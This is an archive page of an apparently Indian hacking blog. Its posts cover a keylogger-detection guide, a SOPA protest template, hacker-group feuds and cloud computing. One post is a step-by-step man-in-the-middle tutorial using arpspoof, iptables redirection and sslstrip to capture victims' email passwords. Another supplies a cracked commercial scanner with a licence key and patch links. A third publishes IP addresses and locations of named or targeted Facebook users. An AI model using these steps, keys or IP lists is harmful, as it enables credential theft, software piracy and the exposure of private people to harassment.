Showing posts with label General Awareness. Show all posts
Showing posts with label General Awareness. Show all posts

Tuesday, August 7, 2012

|| MAN IN THE MIDDLE ATTACK ||



THIS DEMOSTRATION IS ONLY FOR EDUCATIONAL PURPOSE!!!!!!!!
we will hack Email id and password & bypass https in this attack let see victims browser it is running on ssl .

now lets begin our attack


!)first run sslstrip

2)put ip in forward mode typ this :

echo 1 > /proc/sys/net/ipv4/ip_forward
3)now we will configure our iptables to port 10000 to redirect the packets on sslstrip because it is running on this port, type this:

iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000

4)u can run nmap to find vul. ip & gateways but i will not use nmap as i know victim ip & gateway
5)now we will run arpspoof attack to get ol packets of victim
4)atlast we will run sslstrip tool:
ls
python sslstrip.py
python ssltrip.py -w log  [here log is the file where aal email & password will be stored]
sslstrip will start sniffing the passwords XDXDXD
to see the log file typ:
less log
thanxx!

Tutorial commands And steps:
Video tutorial :  http://zyan.me/GdJRp  


SOURCE:-http://devzcyberarena.blogspot.in
AUTHOR:-Devendra Saini 
Read More...

Tuesday, March 27, 2012

Detecting keyloggers and All malicious softwares



This tutorial mainly Focusing on how to detect if your Operating System is infected with any Virus, keylogger or RAT.

For this we should First understand the Functionality and meaning of all of them.

Virus : A malicious Software which Replicates itself and takes over the system and do anything for which it is programmed without user permission or will. These kind of programs are usually programmed by programmers/coders to infect a system.


Keylogger: This is a program which save all the keys pressed from the keyboard and send them to the attacker/programmer/coder/owner whom se ever it is built by. These programs focus on getting the users keylogs and to survive in the system they also includes some capablities like Virus so that they can also stealth and replicate themselve to get some more targets. A keylogger may have many capablities like a Virus. They can be of many type which includes FTP Keyloggers, Email Keyloggers, PHP keyloggers etc


RAT (Remote Admin Tool): This one is the most Advanced program in these malicious softwares because once it enters the system it will give complete control of that system to the attacker/programmer/coder/owner whom se ever it is built by. This kind of program mainly focus on waiting for the Masters Order and when ever he do any order they just have to do the same. But again in order to do such things it need to survive into the system without getting detected by the user or the admin. Such Programs include different capabilities like keylogging, Backdooring, Getting Remote Access, Web Cam Hack, Files Theft etc.

As by now we know the functionalities of all these we can move on how to detect them running in your system.

Following are some of the common symptoms if having your computer Infected:

1. Usually pc gets Slow/Hang while working.
2. Hang Up event takes place again and again after particular time gaps.
3. Getting Error message when running TaskManger/Registry/CMD/Msconfig.
4. TaskManger/Registry/CMD/Msconfig gets killed as they run.
5. List Processes in running under Current user using cmd - tasklist /fi "username eq %username%".
6. Use HTTP debugger and check your traffic to trace out its activity.
7. Use cport to track the applications that are connecting to a port and remote computer.
8. Use "Process Explorer" to track hidden processes.
9. Use "Reg From App" & "Process Activity View" to track Registry and files changes bieng made by any program.
10.Detecting By the Process name is also a easy task but it needs some experience to identify the malicious process from the taskmanager processes tab.

Source:- Bluff Master Hacker
Read More...

Friday, March 9, 2012

Acunetix web vulnerability scanner V8 + Patch



First got to this link and download acunetix scanner

http://www.acunetix.com/download/fullver8

ID: acunetixwvsfullv8
Password: nFu834!29bg_S2q

Then install it do not open it
If opened Closed it :P

Open patch and click on patch

Now open Acunetix you will be asked for some details

Enter below details
License Key:  2e3b81463d2s56ae60dwe77fd54f7d60
Name:         Hmily/[LCG]
ComPany:      Www.52PoJie.Cn
Email:        Hmily@Acunetix.com
Telephone:    110

Patch Link
http://zyan.me/SODAf   

New and update working patch 100%
http://zyan.me/WZnsC
Read More...

Thursday, February 2, 2012

How I dumped profile pics of first 10000 Facebook users within few hrs.


This Post is Originally posted by Debasish Mandal on his website www.debasish.in
A clip form the movie "The Social Network"


Hi all,In this article I am going to tell you guys how I have downloaded profile / Cover picture of first ten thousand Facebook user within few hours using a python script of near about 100 lines. Here I have used Facebook graph api and An html comment present in profile page of Facebook(You will get to know more about this later on).

So what is Facebook graph api?

Using Facebook graph api you can retrieve  few profile information of a Facebook user, like profile id ,First Name Last Name,Facebook username ,user’s gender and locale.
To get this information only thing you have to do is access following url.

http://graph.facebook.com/?id=<target profile id>

Just replace the id parameter with your own. One important thing is, the api returns false if the id is not valid. For example if you try to access id=1 the api will return false because that is not a valid facebook id. But if you change the parameter to 4 you can see the api will return above mentioned information of Mark Zuckerberg. Using this graph api I am going to check if the target profile ID is valid or not. You might think why I have used this api. This is true that same thing can be done by accessing http://www.facebook.com/1,2,3 bluh bluh … like this. My answer is ..Light weight of this api. So you don’t have to craft each and every http headers to check for valid profile id.

Another feature of graph is getting like and share counts of any link .Graph api returns the count of how many times a link is shared or liked on Facebook through JSON. You can do it in this way


Read More...

Wednesday, January 18, 2012

Sopa Blackout Template


This is the Sopa Blackout template.. People supporting this Act can use this template in their website,blogs etc..


Code:-
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />

<title>STOP SOPA!</title>

<style type="text/css" media="all">
html,
body {
    margin: 0;
    padding: 0;
}

#text-shadow-box {
    position: fixed;
    left: 0;
    right: 0;
    top: 0;
    bottom: 0;
    width: 100%;
    height: 100%;
    overflow: hidden;
    background: #444;
    font-family: Helvetica, Arial, sans-serif;
    -webkit-tap-highlight-color: rgba(0,0,0,0);
-webkit-user-select: none;
}

#text-shadow-box #tsb-text,
#text-shadow-box #tsb-link {
    position: absolute;
    top: 40%;
    left: 0;
    width: 100%;
    height: 1em;
    margin: -0.77em 0 0 0;
    font-size: 90px;
    line-height: 1em;
    font-weight: bold;
    text-align: center;
}

#text-shadow-box #tsb-text {
    font-size: 100px;
    color: transparent;
    text-shadow: black 0px -45.2px 19px;
}

#text-shadow-box #tsb-link a {
    color: #999;
    text-decoration: none;
}

#text-shadow-box #tsb-box,
#text-shadow-box #tsb-wall {
    position: absolute;
    top: 40%;
    left: 0;
    width: 100%;
    height: 60%;
}

#text-shadow-box #tsb-box {
    -webkit-box-shadow: black 0px -45.2px 39px;
    -moz-box-shadow: black 0px -45.2px 39px;
    box-shadow: 0px -45.2px 39px #000;
}

#text-shadow-box #tsb-wall {
    background: #999;
}

#text-shadow-box #tsb-wall p {
    position: relative;
    font-size: 18px;
    line-height: 1.5em;
    text-align: justify;
    color: #222;
    width: 550px;
    margin: 1.5em auto;
    cursor: default;
}

#text-shadow-box #tsb-wall p a {
    color: #fff;
}

#text-shadow-box #tsb-wall p a:hover {
    text-decoration: none;
    color: #000;
    background: #fff;
}

#tsb-spot {
    position: absolute;
    top: -50%;
    left: -50%;
    width: 200%;
    height: 200%;
    pointer-events: none;
    background: -webkit-gradient(radial, center center, 0, center center, 450, from(rgba(0,0,0,0)), to(rgba(0,0,0,1)));
    background: -moz-radial-gradient(center 45deg, circle closest-side, transparent 0, black 450px);
    background: -o-radial-gradient(center, circle closest-side, transparent 0, black 450px);
}
</style>

<!--[if IE]>
<style type="text/css">
/* Sadly no IE9 support for pointer-events: none; nor CSS2 text-shadow */
#tsb-spot {
display: none;
}
#tsb-ie {
position: absolute;
top: -90%;
left: -50%;
width: 200%;
height: 334%;
background: url(data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiA/Pgo8c3ZnIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjEwMCUiIGhlaWdodD0iMTAwJSIgdmlld0JveD0iMCAwIDEgMSIgcHJlc2VydmVBc3BlY3RSYXRpbz0ibm9uZSI+CiAgPHJhZGlhbEdyYWRpZW50IGlkPSJncmFkLXVjZ2ctZ2VuZXJhdGVkIiBncmFkaWVudFVuaXRzPSJ1c2VyU3BhY2VPblVzZSIgY3g9IjUwJSIgY3k9IjUwJSIgcj0iNzUlIj4KICAgIDxzdG9wIG9mZnNldD0iMCUiIHN0b3AtY29sb3I9IiMwMDAwMDAiIHN0b3Atb3BhY2l0eT0iMCIvPgogICAgPHN0b3Agb2Zmc2V0PSI3NCUiIHN0b3AtY29sb3I9IiMwMDAwMDAiIHN0b3Atb3BhY2l0eT0iMSIvPgogICAgPHN0b3Agb2Zmc2V0PSIxMDAlIiBzdG9wLWNvbG9yPSIjMDAwMDAwIiBzdG9wLW9wYWNpdHk9IjEiLz4KICA8L3JhZGlhbEdyYWRpZW50PgogIDxyZWN0IHg9Ii01MCIgeT0iLTUwIiB3aWR0aD0iMTAxIiBoZWlnaHQ9IjEwMSIgZmlsbD0idXJsKCNncmFkLXVjZ2ctZ2VuZXJhdGVkKSIgLz4KPC9zdmc+);
}
</style>
<![endif]-->

</head>
<body>
  
<div id="text-shadow-box">
    <div id="tsb-box"></div>
    <p id="tsb-text">STOP SOPA!</p>
    <p id="tsb-link"><a href="http://americancensorship.org/">STOP SOPA!</a></p>
    <div id="tsb-wall">
        <div id="tsb-ie"></div>
      
        <p>This site has gone dark today in protest of the U.S. Stop Online Piracy Act (SOPA) and PROTECT-IP Act (PIPA). The U.S. Congress is about to censor the Internet, even though the vast majority of Americans are opposed. We need to kill these bills to protect our rights to free speech, privacy, and prosperity. Learn more at <a href="http://americancensorship.org/">AmericanCensorship.org</a></p>
    </div>
    <div id="tsb-spot"></div>
</div>

<script type="text/javascript" language="javascript" charset="utf-8">
/**
* Zachary Johnson
* http://www.zachstronaut.com
* I place the following code in the public domain.
*
* Fork it on GitHub: https://github.com/zachstronaut/stop-sopa
*/

var text = null;
var spot = null;
var box = null;
var boxProperty = '';

init();

function init() {
    text = document.getElementById('tsb-text');
    spot = document.getElementById('tsb-spot');
    box = document.getElementById('tsb-box');
  
    if (typeof box.style.webkitBoxShadow == 'string') {
        boxProperty = 'webkitBoxShadow';
    } else if (typeof box.style.MozBoxShadow == 'string') {
        boxProperty = 'MozBoxShadow';
    } else if (typeof box.style.boxShadow == 'string') {
        boxProperty = 'boxShadow';
    }

    if (text && spot && box) {
        document.getElementById('text-shadow-box').onmousemove = onMouseMove;
        document.getElementById('text-shadow-box').ontouchmove = function (e) {e.preventDefault(); e.stopPropagation(); onMouseMove({clientX: e.touches[0].clientX, clientY: e.touches[0].clientY});};
    }
}

function onMouseMove(e) {
    if (typeof e === 'undefined' || typeof e.clientX === 'undefined') {
        return;
    }
  
    var xm = (e.clientX - Math.floor(window.innerWidth / 2)) * 0.4;
    var ym = (e.clientY - Math.floor(window.innerHeight / 3)) * 0.4;
    var d = Math.round(Math.sqrt(xm*xm + ym*ym) / 5);
    text.style.textShadow = -xm + 'px ' + -ym + 'px ' + (d + 10) + 'px black';
  
    if (boxProperty) {
        box.style[boxProperty] = '0 ' + -ym + 'px ' + (d + 30) + 'px black';
    }
  
    xm = e.clientX - Math.floor(window.innerWidth / 2);
    ym = e.clientY - Math.floor(window.innerHeight / 2);
    spot.style.backgroundPosition = xm + 'px ' + ym + 'px';
}
</script>

</body>
</html>
My support:-
http://jaguarhacker.x10.mx/SOPABLACKOUT/
Read More...

Tuesday, November 23, 2010

Where Are Hero Hackers?? Forgotten Hero Hackers By Cat Techie


What is the source of earning/income of all those notorious hackers. Read in next post with Cat Techie & Amarjit Singh

(Want to know where all these people have gone, what are they doing? what next..keep eying on this blog)

By Cat Techie

The day I started with my research I had to track down many hackers which was quite difficult task. During this journey I came across numerous new concept which no normal brain can even think of one of them was ‘Cyber War’. The first ideas that wallop my mind was this could be war between hackers from all countries. later as I started exploring I was jeopardize because I realised that virtual war is more harmful then any kind of physical war, There are highly talented hackers across the world who can be serious threat but also safety to government, economy and also infrastructure of respective countries. Till now except the ethical hacker no other hacker is known by their original names. all are coded with some different name or number, there is a great story behind these names, how these names came is existance and why they got these codes is yet another story to read. I am deffinately going to discuss about the same in near future. Cyber war was started by the Pakistani group of hackers named ‘paksbug’ which was maintained by zombie_ksa and his fellow team mates. Zombie_ksa is known to be one the highly talented hacker from Pakistan few of them mark him as a legend, his identity is still a mystery there are so many myths and rumors about this hacker. this arab hacker made his bench mark in hacking trends. I have special liking for this hacker for his uniqueness.

Amongst everybody, the major components or hackers of this group were ‘spoofer’, ‘Xoom-Xoom’, ‘big smoke’, and ‘cyber crime’ (these are substitute names given to them their real names you can get to read in Cyber terror book).


Due to the hatred for India this group started posting nude pictures of Indian girls in their community more over the Indian god were abused which was no longer tolerated by the Indian hacker. To retaliate and express disagreement Indian hackers also formed a group which was named as ICW i.e., Indian Cyber Warrior the founder of these group were Rascle (Gaurav Singh), Sai Satish, and Smart(keval) . Later so many people became members of this group, they started attacking pak cyber space but never wrote anything ill or against their almighty god, neither insulted any gender. This gave rise in the defacement of the sites from both the countries. With the growing hatred towards each other this lead to the formation of two more new groups that was PCA the founder of this group was Harun from Pakistan. Now there is one more PCA founded by .

After this there are a serias of hackers came in existance, now a days the hackers mashroomed like anything. there is one more hacker Cyber swati, how this hacker got indian name and what is his background..read in cyber terror.

One fine day both the opponent groups realised that only defacement is not the solution so the graph of hacking came down and thus here this phase was ended with the signs of maturity. But was this an end??? NO.

This time it was a quite a major issue. After few months a guy named ‘Xoom-Xoom’ regenerate the conflict by hacking our prime minister site ‘Manmohan Singh.org’ cyber war was revived but this time ICW did not retaliate May be it was the question of their ego. Hackers are known to maintain their principles and so they do not wish to go against.By then ICW and paksbug were only two active groups. This was the time where zombie realised his skill and gradually he started hacking bigger sites like national internet back bone of morocco then google.co.in, and hotmail.ug. He almost ended up hacking all the sites of Uganda and stopped attacking India. So as ICW was dead by that time.Injector, Sai satish one of the most legendary hacker known for his integrity gave up, and every one went their way. Today they all are working in different IT companies.

Indishell was the group formed and the founder by ‘hack my PC’ who was basically from London. The major platform of the group was patriotism. He trained many ordinary minds to expert hacking. Patriotism of this group was immense and was intensely mounting day by day.
What ‘Xoom-Xoom’did he ignored everything and in addition to this he ramdomly started defacing sites. Mean while another group was formed by some Pakistani hackers named ‘pak hackers’ the founder of these group called himself as a ‘spider’ who was from Afghanistan, he is the leader of afghan cyber army ,once again filthy game of defacing came in full force.

Indian sites were above to hit the top, an avarage 25 sites a day was at the target of Pak hackers. Still the Indishell was quite, and they did not reciprocate but these was high time as the defacing Indian sites went beyond limit.Two new strong Indian hackers started retaliating pak hackers. They were M.XXX and silent poison. The new brilliant hacker was thrown at the battle to controll situations his name is c0de Breaker, who was trained by ‘hack my pc’ he was the new heir of Indishell. S
ilent poison approached c0de breaker for defacements in which nations pride was the most important topic, this is the phase where indishell came into highlight.One more group was formed and that was cyber hacker.net which was super monitored by a hacker called his partners in this group was net cracker, these was formed due to the disputes between shack and the member of pak hackers. Shak is heartthrob of young aspiring hackers of Pakistan as well as India.

These three groups were on the top on the list of cyber war. In this was indishell ended up by hacking cyber hacker.net. complete back up and old data was erased by indeshell so that there won’t be any chance of them coming back in existance. It’s still been three months no trace of these guys is been found. Now the only person left is shak and few others who knows the technique of SQL injection and Google hacking. None of these member were even partially related to ethical hacking.

The most undue advantage was taken by SQL attack was by shack and nut crackers now their target was common man, who regularly does net shopping. These hackers hacked credit cards by introducing server of Pakistan in Germany, later on even that was suspended because the bank of these credit cards started giving back to these hackers in strrn actions. But nobody could stop this hackers from committing crimes, once again they use to establish themselves with new servers and by hacking new credit cards.

What they were doing wasn’t sufficient so they started teaching credit card hacking through their websites and forums, after some time they had to close this due to the legal problem raised by banks...Pak police started clutching there hackers and illegally the institutions were getting operated behind the eyes of law. Indishell reported this to the CMO office. Unfortunately all the officer went blind folded. There was no other option for indeshell to wait for 14th august as it was Pakistan’s independence day. On that dayPakistani hackers defaced 18 Indian sites with abusive language, they abuse India and also insulted the lord ram by pasting his face to a dogs body. this went in to the nerves of Indian hackers specially Indishell . they answered them through Gang Bang and ICA came in action with the hackers like Mr.XXX, silent poison, Inex root, dark look, and code breaker himself. by that time indishell became a open door for every hacker around the world. ICA was started by lucky and silent poison then after indian hacker started joining their camp. here after so many things happened but wait for some time to read in details..

What is the source of earning/income of all those notorious hackers. Read in next post with Cat Techie & Amarjit Singh

(Want to know where all these people have gone, what are they doing? what next..keep eying on this blog)

---Like this post, Just leave a comment as your feedback. If you want us to post an article on some specific topic OR have a suggestions for us...you can also drop an email on amarjit@freehacking.net
Read More...

Monday, November 22, 2010

Download Unite Hackers Registration Form Here


Download Unite Hackers Registration Form Here

Vaidehi Sachin, Group editor of News Maker, took a revolutionary step with the support from intelligence sources, to unite all ethical & unethical hackers of India. Register them under cyber employment act & create a new young army for Cyber security of our country INDIA.The intention is to rehabilitate youth lured in cybercrime. For more details, you can write us on amarjit@freehacking.net OR cyberterrors@gmail.com

"I request you all to support this campaign to unite all hackers of India under one roof to protect our country and make it cyber crime free. All hackers are not Criminals, they are the Heroes of the Computer Revolution. Let us make this country cyber protected with this young think tank, 73% hackers of India are in the age grup of 12 to 19, they don't have direction. Let us unite these think tanks and spread awareness.We will approach Hon. President of India along with appeal and signatures through this campaign."

When we lack experts in our own government system, why not unite these India hackers? They are also patriots and care for this nation’s security as any other citizen of this country. Why not assign these young hackers for the internet security and make our country cyber terror free.


Related posts on UNITE ALL INDIAN HACKERS:

Unite Hackers of India Frequently Ask Questions (FAQ's): Ask Cat Techie Hacker, Vaidehi Sachin & Amarjit Singh

Unite Hackers : Unite All Hackers to Protect Country


---Like this post, Just leave a comment as your feedback. If you want us to post an article on some specific topic OR have a suggestions for us...you can also drop an email on amarjit@freehacking.net
Read More...

Are IP Addresses Traceable on Facebook: IP Addresses Tracking on Facebook


Are IP Addresses Traceable on Facebook: IP Addresses Tracking on Facebook

Most Notorious Pakistani IP address Traced on Facebook so far:

119.159.216.87
Pakistan
Sindh
Hyderabad
Ptcl
-----------
119.152.159.225
Punjab
Lahore
--------
119.152.168.11
Punjab
Dalianwali
----
119.152.29.8 (Usman)
Punjab
Lahore
-----
119.152.165.105
Punjab
Dalianwali
-----

Any thing can be traced on any social networking site. Nothing is impossible. So better to come with you real identity.

Below is the list of all IP's from Pakistan traced on FACEBOOK.
  • 119.152.165.105
  • 119.159.188.43
  • 119.153.47.186
  • 119.152.29.8
  • 119.152.159.225
  • 119.152.168.111
  • 21.52.144.98
  • 116.71.183.173
  • 111.119.177.202
  • 116.71.210.114
  • 111.119.177.91
  • 19.159.216.87
  • 119.159.9.253
  • 119.159.7.250
  • 180.178.173.106
  • 119.155.100.151
  • 119.152.12.117
  • 116.71.176.21
  • 119.153.53.102
  • 111.119.178.109
UPDATE:

Friends.....well so many of guys are asking me for their IP's so finally I am publishing few more IP's here. This time no name will be revealed openly on wall. If anyone want me to publish his name also send me a private message. Check below list and you will get you IP.

14.194.178.25 - Madras,
Tamil Nadu

---------

67.205.96.46 - Montreal,
Quebec

-------

117.252.65.77 - Jaipur,
Rajasthan

----

117.198.172.87 - Junagadh,
Gujarat

More details will be published soon on www.freehacking.net

Are IP Addresses Traceable on Facebook: IP Addresses Tracking on Facebook

---Like this post, Just leave a comment as your feedback. If you want us to post an article on some specific topic OR have a suggestions for us...you can also drop an email on amarjit@freehacking.net
Read More...

Unite Hackers of India Frequently Ask Questions (FAQ's): Ask Cat Techie Hacker, Vaidehi Sachin & Amarjit Singh


Ask Cat Techie Hacker, Vaidehi Sachin & Amarjit Singh: Unite Hackers of India Frequently Ask Questions (FAQ's)

Is it true that only Certified can join the campaign??? What is the requirement to join this?
This campaign is against Cyber Terrorism for people who are anti Indian. There is no legal certification or formal qualification to join this cause .So whether you are a Black Hat, White Hat or Grey hat id doesn’t really matter .We want to unite all the hackers in the India under one roof for their benefit, and put their skills in right and approved manner.

We do not have certificate of Ethical Hacking. We learned it from books, online tutorials/videos & such sites. We are neither a part of any group or hacked any sites. We want to work for India as an Ethical Hacker if we get a chance & proper platform. Can we join??
You need not have Certification to join this cause. As long as you have the knack, skills and aptitude and above all since the passion to work for India is evident please join us and we will give you a platform to address everyone. This cause is to secure our country from cyber evils, and let us prove that we the indians are best at it.

Once we join this young cyber army, in future if Indian Gov. provides us a project to hack website or steal the data, will they give us protection???
Firstly, the Indian Government will never award you a project to hack any website or steal the data since it is against Indian Law.Under The Information Technology (Amendment) Act, 2008, Cyber-terrorism is punishable with life imprisonment. Cyber offences such as identity theft, cyber-stalking, cyber harassment, spoofing and hacking are the punishable offences under this section. The IT (Amendment) Act, 2008 was passed by both Houses of Parliament on December 23, 2008. It was notified after the assent of the President on February 5, 2009. without sabotaging others interest we can secure ourself and can providesecurity cover.

Who will take forward this cyber issue in front of Hon. President of India?
The platform which will unite all the hackers will serve to voice our opinion and will be noticed by the Government. So let’s hope for the best that Hon. President of India will initiate the process of some amendments to be made.

I am a Black hat and do not want to reveal my identity. How can I join?
There has to be some sort of Identity by which people can know you and you are recognized for your efforts for the development of the nation. The others in this community will surely applaud you for your efforts.

Will it be beneficial for my career prospects also? How?
As I had mentioned earlier also that our objective is to Unite Hackers of all types in order to make our country cyber protected. So you will surely get name and fame in your career even if you have contributed a drop in this ocean of Cyber Hacking. As far as government is concerned it is still unethical or illegal according to them even if you have India’s interest in mind.

Can I join this army officially after completing my college? I am very good in hacking and security?
There is nothing official or unofficial about this army, it’s the perspective which matters. The murderer has a knife in his hand as a weapon to kill his victim. Similarly the doctor also has a knife in his hand to save the life of a patient. So one takes away a human being’s life while the other saves the life . every skill has two different sides,and we need to make best choice. So if you are talented in hacking and security and want to channelise your skills and energies for India you are always welcome to join us.

I am thinking about fighting against hackers who are doing identity theft, virus that spreads, and trojan. I'm thinking of making files that will shutdown hacker's systems who are doing crimes. (Posted by Danial)
Dear Danial i welcome your suggestion fighting against hackers those who are committed to do only wrong. if you are capable, then we support you. but once hacker joins the organisation identity theft wont be a big issue.

Sir, I am very much eager to learn Computer Hacking. i want to Join Indian Cyber Army & Fight Cyber Terror for my Country. Sir, it will be a great achievement if i can join your league.
Thanking you with regards,
RAJENDRA PRASAD BHATTACHARYA KOLKATA -

Dear Rajendra we are actually not here to support any perticular hackers group. If you want to fight cyber terror we are here to provide you platform.

What if I am Pakistani and want to join the camp to secure my country against Indian hacker?
well you have every right to protect your country from cyber terror not only from India, even from other countries, which are equally threat fro India. You can deffinately form a unit in Pakistan and unite hackers to serve your country, our organisation would deffinately extend the support. if we all decide to protect our contry than attacking others, 50% of war stalls here itself, wish you luck

Do you personally hate Pakistan hackers? because in you book cyber terror you have exposed many of our country hackers?
Sad, there are lots of misunderstandings and misconseptions regarding this book.as a writer i have tried putting light to hidden dark world, irrespective of who so ever it is. I am sure you will be surprised to read about those hackers, hidden in the gone phase and existing with over rated hype. I am not against any country.

I know you will not publish this question but still I ask you, as you posted a comment that,unixroot and the hacker's news is belongs to a hacker. if you are uniting hackers then why attacking him? why cant he have his news portal as others do have? why cant you controll Amarjit singh for what he is doing?
I would have

No, I am not scared of writing the truth. Why you thought I won’t be publishing this question? First ..yes, UNIX root and the Hacker’s news has complete right to publish news or execute their freedom as media. I was against the identity theft; no media has ever hidden their face and utilized such kind of gimmicks. From past few days there were attacks on the bloggers in the name of yellow journalism even unixroot did the same. I was expecting hacker’s news to possess some above intellect than the other bloggers but the agenda itself was wrong. I just told the hacker to come in lime light with guts and introduce himself to his beloved readers. I still support Hackers news because I have got nothing personal against them.As far as Amarjit is concerned, it is his personal rivalry with some people or group. What he is doing is his personal issue; you all unite and disagree, ban reading his blog, don’t approve his post, retaliate and see what happens. Expecting from me to do this is wrong. He has his personal blog to put his personal thought across you all. I have no right to encroach at his right of expressions. More over whatever he is doing may not be hundred percent right but I am sure it’s not even totally wrong. It’s you the readers need to take a call here.

Your are wellcome to ask anything at cattechie@gmail.com & amarjit@freehacking.net or drop a private message to CAT. The answers would be published every Sunday and Thrusday.

Ask Cat Techie Hacker, Vaidehi Sachin & Amarjit Singh: Unite Hackers of India Frequently Ask Questions (FAQ's)

---Like this post, Just leave a comment as your feedback. If you want us to post an article on some specific topic OR have a suggestions for us...you can also drop an email on amarjit@freehacking.net
Read More...

Unite Hackers : Unite All Hackers to Protect Country


Unite Hackers : Unite All Hackers to Protect Country

"This Blog is started with an intension to create difference in hacker’s life, unite them and utilise their skills in nation’s interest. Our country has best of potential united we can make our cyber world secured and protected from evil "
Support this campaign to unite all hackers of India under one roof to protect our country and make it cyber crime free. All hackers are not Criminals; they are the Heroes of the Computer Revolution. Let us make this country cyber protected with these young think tank, 73% hackers of India are in the age group of 12 to 19, they don’t have direction. 5% hackers are between the age group of 30 plus, and rest of the hackers working for some Indian companies or the IT brands and teaching hacking as security measures are called ethical hackers. But most of the hackers either in to this due to passion or due to compulsion of earning bread. So far the recorded data of hackers in crime is just 2%.

Let us unite these think tanks and spread awareness. This campaign is tuff but not difficult. We will approach Hon. President of India along with appeal and signatures through this campaign."Cyber crime is the latest threat to India's security with those inimical to its interests hiring experts to spy on companies and vital networks. There has been an increase of 200 per cent in cyber crime cases in India in the last three years and that is an alarming trend. The new tactics are more towards data theft like espionage on some other companies, working for some foreign intelligence agencies sitting in India, SMS and mobile call forging. At the age of 18, some of the hackers found loopholes like "Session Hijacking" & "Cross Site Scripting" in popular social networking websites. The biggest worry is that officials of Indian investigating agencies are not competent enough to deal with techno crimes.

Investigating agencies are still lagging behind in terms of technologies or techniques to actually tackle cyber crimes. Not even two percent of the officials know what Voice is over Internet Protocol (VoIP), its use or how to take precautions. The hacking of mobile numbers and for making calls and sending SMS is another area of concern. Anyone can use or misuse a mobile number to send SMS or make a call. This technology was misused in the 26/11 bombings. But all the servers and the infrastructure required to commit this cyber crime is not available in India. "The Indian IT law is not defined to tackle such crimes using mobile phones and that is dangerous. Social networking sites are not at all safe and hackers exploit and misuse vital information from such sites for indulging in crime.

When we lack experts in our own government system, why not unite these India hackers? They are also patriots and care for this nation’s security as any other citizen of this country. Why not assign these young hackers for the internet security and make our country cyber terror free.

Unite Hackers : Unite All Hackers to Protect Country

---Like this post, Just leave a comment as your feedback. If you want us to post an article on some specific topic OR have a suggestions for us...you can also drop an email on amarjit@freehacking.net
Read More...

Tuesday, November 16, 2010

What is Cloud Computing: Cloud Computing Basics Information



What cloud computing really means

Cloud computing comes into focus only when you think about what IT always needs: a way to increase capacity or add capabilities on the fly without investing in new infrastructure, training new personnel, or licensing new software. Cloud computing encompasses any subscription-based or pay-per-use service that, in real time over the Internet, extends IT’s existing capabilities.

Cloud computing is at an early stage, with a motley crew of providers large and small delivering a slew of cloud-based services, from full-blown applications to storage services to spam filtering. Yes, utility-style infrastructure providers are part of the mix, but so are SaaS (software as a service) providers such as Salesforce.com. Today, for the most part, IT must plug into cloud-based services individually, but cloud computing aggregators and integrators are already emerging.

InfoWorld talked to dozens of vendors, analysts, and IT customers to tease out the various components of cloud computing. Based on those discussions, here’s a rough breakdown of what cloud computing is all about:

1. SaaS
This type of cloud computing delivers a single application through the browser to thousands of customers using a multitenant architecture. On the customer side, it means no upfront investment in servers or software licensing; on the provider side, with just one app to maintain, costs are low compared to conventional hosting. Salesforce.com is by far the best-known example among enterprise applications, but SaaS is also common for HR apps and has even worked its way up the food chain to ERP, with players such as Workday. And who could have predicted the sudden rise of SaaS ”desktop” applications, such as Google Apps and Zoho Office?

2. Utility computing
The idea is not new, but this form of cloud computing is getting new life from Amazon.com, Sun, IBM, and others who now offer storage and virtual servers that IT can access on demand. Early enterprise adopters mainly use utility computing for supplemental, non-mission-critical needs, but one day, they may replace parts of the datacenter. Other providers offer solutions that help IT create virtual datacenters from commodity servers, such as 3Tera’s AppLogic and Cohesive Flexible Technologies’ Elastic Server on Demand. Liquid Computing’s LiquidQ offers similar capabilities, enabling IT to stitch together memory, I/O, storage, and computational capacity as a virtualized resource pool available over the network.

3. Web services in the cloud
Closely related to SaaS, Web service providers offer APIs that enable developers to exploit functionality over the Internet, rather than delivering full-blown applications. They range from providers offering discrete business services — such as Strike Iron and Xignite — to the full range of APIs offered by Google Maps, ADP payroll processing, the U.S. Postal Service, Bloomberg, and even conventional credit card processing services.

4. Platform as a service
Another SaaS variation, this form of cloud computing delivers development environments as a service. You build your own applications that run on the provider’s infrastructure and are delivered to your users via the Internet from the provider’s servers. Like Legos, these services are constrained by the vendor’s design and capabilities, so you don’t get complete freedom, but you do get predictability and pre-integration. Prime examples include Salesforce.com’s Force.com,Coghead and the new Google App Engine. For extremely lightweight development, cloud-basedmashup platforms abound, such as Yahoo Pipes or Dapper.net.

5. MSP (managed service providers)

One of the oldest forms of cloud computing, a managed service is basically an application exposed to IT rather than to end-users, such as a virus scanning service for e-mail or an application monitoring service (which Mercury, among others, provides). Managed security services delivered by SecureWorks, IBM, and Verizon fall into this category, as do such cloud-based anti-spam services as Postini, recently acquired by Google. Other offerings include desktop management services, such as those offered by CenterBeam or Everdream.

6. Service commerce platforms
A hybrid of SaaS and MSP, this cloud computing service offers a service hub that users interact with. They’re most common in trading environments, such as expense management systems that allow users to order travel or secretarial services from a common platform that then coordinates the service delivery and pricing within the specifications set by the user. Think of it as an automated service bureau. Well-known examples include Rearden Commerce and Ariba.

7. Internet integration
The integration of cloud-based services is in its early days. OpSource, which mainly concerns itself with serving SaaS providers, recently introduced the OpSource Services Bus, which employs in-the-cloud integration technology from a little startup called Boomi. SaaS provider Workday recently acquired another player in this space, CapeClear, an ESB (enterprise service bus) provider that was edging toward b-to-b integration. Way ahead of its time, Grand Central — which wanted to be a universal “bus in the cloud” to connect SaaS providers and provide integrated solutions to customers — flamed out in 2005.

Differences Between Dedicated Server, Cloud Computing and VPS

Many people still do not know or are confused when speaking of the major differences between Cloud Server Hosting, Virtual Private Servers (VPS) and Dedicated Servers. Starting with the most basic, you know what to serve?

Quite simply, all the three technologies are used to store data, host websites and structures of e- mail, besides running various applications and softwares. So if they serve for the same thing because they are different?

Each has a different characteristic, let us understand :

Dedicated Servers

